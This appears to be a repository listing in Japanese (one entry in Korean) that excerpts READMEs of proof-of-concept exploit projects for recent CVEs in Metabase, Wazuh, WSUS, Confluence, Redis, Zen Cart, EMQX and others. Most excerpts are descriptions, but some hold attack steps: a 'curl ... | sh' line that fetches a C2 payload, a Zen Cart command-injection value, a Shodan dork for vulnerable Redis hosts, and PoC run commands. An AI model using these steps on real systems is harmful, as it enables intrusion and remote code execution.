CVE-2026-33725

CVE-2026-33725 CVE-2026-33725の概念実証エクスプロイト。MetabaseのEEシリアライゼーションインポートにおけるH2 JDBC INITインジェクションを介したリモートコード実行および任意ファイル読み取りです。 影響を受けるバージョン Metabase Enterprise ≥ v1.47 かつ v1.54.22 Metabase Enterprise ≥ v1.54.0 かつ v1.54.22 Metabase Enterprise ≥ v1.55.0 かつ v1.55.22 Metabase Enterprise ≥ v1.56.0 かつ v1.56....

CVE-2026-25769

CVE-2026-25769 - Wazuhクラスタにおける安全でないデシリアライゼーションを介したリモートコード実行 CVE-2026-25769の概念実証エクスプロイト。Wazuhクラスタにおける安全でないデシリアライゼーションを介したリモートコード実行です。 使用方法: $ python3 poc.py --cmd 'id' 影響を受けるバージョン Wazuh v4.14.1 免責事項...

CVE-2026-4802

CVE-2026-4802 - Cockpitにおけるコマンドインジェクションによるリモートコード実行 CVE-2026-4802の概念実証エクスプロイトです。CockpitのシステムログUI（loadServiceFilters）におけるコマンドインジェクションによるリモートコード実行です。 セットアップ 脆弱な環境をビルドして実行します: $ docker build -t cockpit-vuln . $ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln 使用方法 ターゲットが脆弱かどうかを確認 $ python3...

cve-2026-21962

CVE-2026-21962 — URI正規化によるパストラバーサルEoP / RCE 発見者: gregk4sec https://github.com/gregk4sec/cve 発見日: 2025-09-24 影響を受けるベンダー: Oracle 影響を受ける製品: Oracle OHS / WebLogic Server Proxy Plug-in for Apache HTTP Server、WebLogic Server Proxy Plug-in for IIS 深刻度: Critical / CVSS 10.0 CVSSv3.1ベーススコア: 10.0 CVSSベクター:...

CVE-2025-59287

CVE-2025-59287 WSUS RCE エクスプロイト Windows Server Update Services WSUS の未認証リモートコード実行の脆弱性に対する自動化エクスプロイト。 脆弱性の詳細 CVE ID: CVE-2025-59287 CVSS スコア: 9.8 Critical 攻撃ベクトル: ネットワーク 認証: 不要 影響: SYSTEM としてのリモートコード実行 機能 ✅ 完全自動化されたペイロード生成 ✅ ysoserial.NET 依存関係の自動ダウンロード ✅ 内蔵リバースシェルリスナー ✅ クロスプラットフォーム対応...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Confluence Data CenterおよびConfluence ServerにおけるRCE（リモートコード実行）脆弱性 PoC 参考情報 CVE-2023-22527 - Confluence Data CenterおよびConfluence ServerにおけるRCE（リモートコード実行）脆弱性 | Atlassianサポート | Atlassianドキュメント CONFSERVER-93833 Confluence Data...

CVE-2026-3502---TrueConf-Client-Update-Hijacking-PoC

🔓 CVE-2026-3502 - TrueConf クライアント更新ハイジャックエクスプロイト ⚠️ 警告 このツールは教育目的および許可されたテスト専用です。明示的な許可なくシステムで使用しないでください。 📋 説明 CVE-2026-3502 のエクスプロイト - TrueConf クライアント（Windows）における整合性検証なしの更新脆弱性。ローカルの TrueConf サーバーを制御する攻撃者が、正規の更新パッケージを悪意のあるものに置き換え、接続中のすべてのクライアントでリモートコード実行を達成できます。 🎯 影響 更新コンテキストでの任意のコード実行 （昇格された権限）...

slippy-book-exploit

Slippy-book: EPUBファイル解析におけるディレクトリトラバーサルによるリモートコード実行 CVE-2023-44451 Xreader、CVE-2023-52076Atril予約済み: Mint、Kali、Parrot、Manjaroなどを含む人気のLinuxディストリビューションに影響するRCE脆弱性。EPUBファイル解析におけるディレクトリトラバーサルによるリモートコード実行 LinuxのMATE/およびLinux Mintのデフォルトドキュメントビューアソフトウェアに、重大なパストラバーサルおよび任意ファイル書き込みの脆弱性が発見されました。これは、Kali...

CVE-2026-0848-PoC-Improper-Input-Validation

CVE-2026-0848 - NLTK StanfordSegmenter RCE PoC ⚠️ 警告 このコードはシステム上で任意のコマンドを実行します。隔離された仮想マシンまたはコンテナでのみ使用してください。 説明 CVE-2026-0848 の機能する PoC。悪意のある JAR ファイルが NLTK によって読み込まれたときに任意のコードを実行できることを実証します。 要件 Python 3.8+ Java JDK 8+（ペイロードのコンパイル用） NLTK 3.9.2（自動的にインストールされます） インストールと実行 クローン git clone...

atril_cbt-inject-exploit

CVE-2023-44452、CVE-2023-51698: Linux Mint Xreader/MATE Atril CBTファイル解析における引数インジェクションによるリモートコード実行の脆弱性 MATE、Cinnamon、および一部のXfceデスクトップ環境を採用する人気のLinuxオペレーティングシステムに影響を与える、クリティカルなワンクリックRCE/コマンドインジェクションの脆弱性です。 影響を受けるオペレーティングシステム: Linux Mint Kali Linux（セキュリティ専門家、研究者の間で人気のOS） Parrot...

zencart_auth_rce_poc

zencartauthrcepoc CVE-2021-3291 1- adminとしてログインする 2- 任意のモジュールの編集ページを開く 3- 任意のtrueラジオボックスの要素を検査する 4- true を true','MODULEORDERTOTALTOTALSTATUS'; echo id; // に変更する 5- updateをクリックする 6- コマンドを実行するには、再度編集ページに移動する CVE-2021-3291 https://vulners.com/cve/CVE-2021-3291 POC エクスプロイト ページ更新 ズーム Metasploit GIF...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14には、細工されたプラグインを介して攻撃者が任意のコードを実行できるようにするゼロクリックコードインジェクションの脆弱性が存在することが発見されました。この脆弱性は、攻撃者のプロフィールページとのユーザー操作を通じてトリガーされます。 ワンクリック手法: 学生アカウントを持つ攻撃者は、悪意のあるWebページまたは悪意のあるSVG画像ファイルを作成し、そのファイルを学生プロフィールページの「My...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 元の利用方法は、EMQXプラグインをアップロードし、プラグインテンプレートのコードにErlangのosモジュールを追加してシステムコマンドを実行しRCEを行うものです。 出網環境（外部接続可能な環境）では、環境にデフォルトでcurlが存在するため、直接curl http://xx.xx.xx.xx/1.sh | shでC2に接続できます。...

moltbot-1click-rce

このリポジトリには README がありません。...

WSUS-RCE-Mitigation-59287

🚨 サイバーセキュリティ重大警報: WSUS における RCE CVE-2025-59287 🚨 作成者およびクレジット: @esteban11121 このガイドは、コミュニティがこの脆弱性を迅速に緩和できるよう支援するために作成されました。 ステータス: 活発な悪用 In-the-Wild が確認済み。 これは WSUS サーバーに影響を与える リモートコード実行 RCE の脆弱性であり、認証されていない攻撃者が SYSTEM 権限を取得することを可能にします。直ちに 緊急 OOB パッチ適用措置が必要です。 詳細| 値 ---|--- 識別子| CVE-2025-59287 CVSS...

CVE-2026-23744-POC

説明 この脆弱性は、MCPJam Inspectorがデバッグおよび開発用に設計された内部APIエンドポイントを公開しているために存在します。これらのエンドポイントはユーザーが制御する入力を受け入れ、適切な検証やサニタイズを行わずに、それをシステムレベルのプロセス実行に直接渡します。 脆弱なエンドポイント（/api/mcp/connect）に細工したリクエストを送信することで、攻撃者はserverConfigオブジェクトを制御し、ホスト上で実行される任意のコマンドを指定できます。...

EpSiLoNPoInT-

!/usr/bin/env python3 """ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 - README.md 完全版・コピペ対応 CVE-2026-23550 | 大規模モジュラーDS認証バイパス攻撃フレームワーク 作者: EpSiLoNPoInT | バージョン: 7.1-GOD | Android 24時間コーディング | 08/02/2026 """ ============================================================================= TSAR-EXEC v7.1 -...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j 이 방은 악명 높은 Log4j 취약점CVE-2021-44228, 일명 Log4Shell을 악용하는 데 기반을 두고 있습니다. 이 약점은 공격자가 로그 메시지에 악성 페이로드를 주입하여 원격 코드를 실행할 수 있게 합니다. TASK 1 – CVE-2021-44228 소개 이 태스크에서는 Apache Log4j의 Log4Shell 취약점CVE-2021-44228에 대해 배웠습니다. • Log4j는 널리 사용되는 Java 로깅 라이브러리입니다. • 이 취약점은 JNDI 조회를 통...

CVE-2025-49844

CVE-2025-49844 – RedisのLuaパーサーにおけるUse-After-Free問題 要約と簡単な説明：このスクリプトを実行して、 localhost の代わりにターゲットのIPを指定し、ポートも設定すると接続されます。脆弱性がある場合、実行したい任意のコマンドを実行できます。 Shodanでも、このペイロードで脆弱なターゲットを見つけられます。 product:"Redis key-value store" バージョンを確認し、8.2未満であることを確認してください。 エクスプロイトの実行 while redis-cli -h localhost -p 6379...

CVE-2026-7537

MDJM Event Management = 1.7.8.3 - 認証済み（管理者+）任意ファイルアップロード（'mdjmemailuploadfile' パラメータ経由） WordPress の MDJM Event Management プラグイン（バージョン 1.7.8.3 以前）には、認証済み管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。 TL;DR エクスプロイト 認証済み攻撃者が shell.php をアップロードしてリモートコードを実行することを示す POC...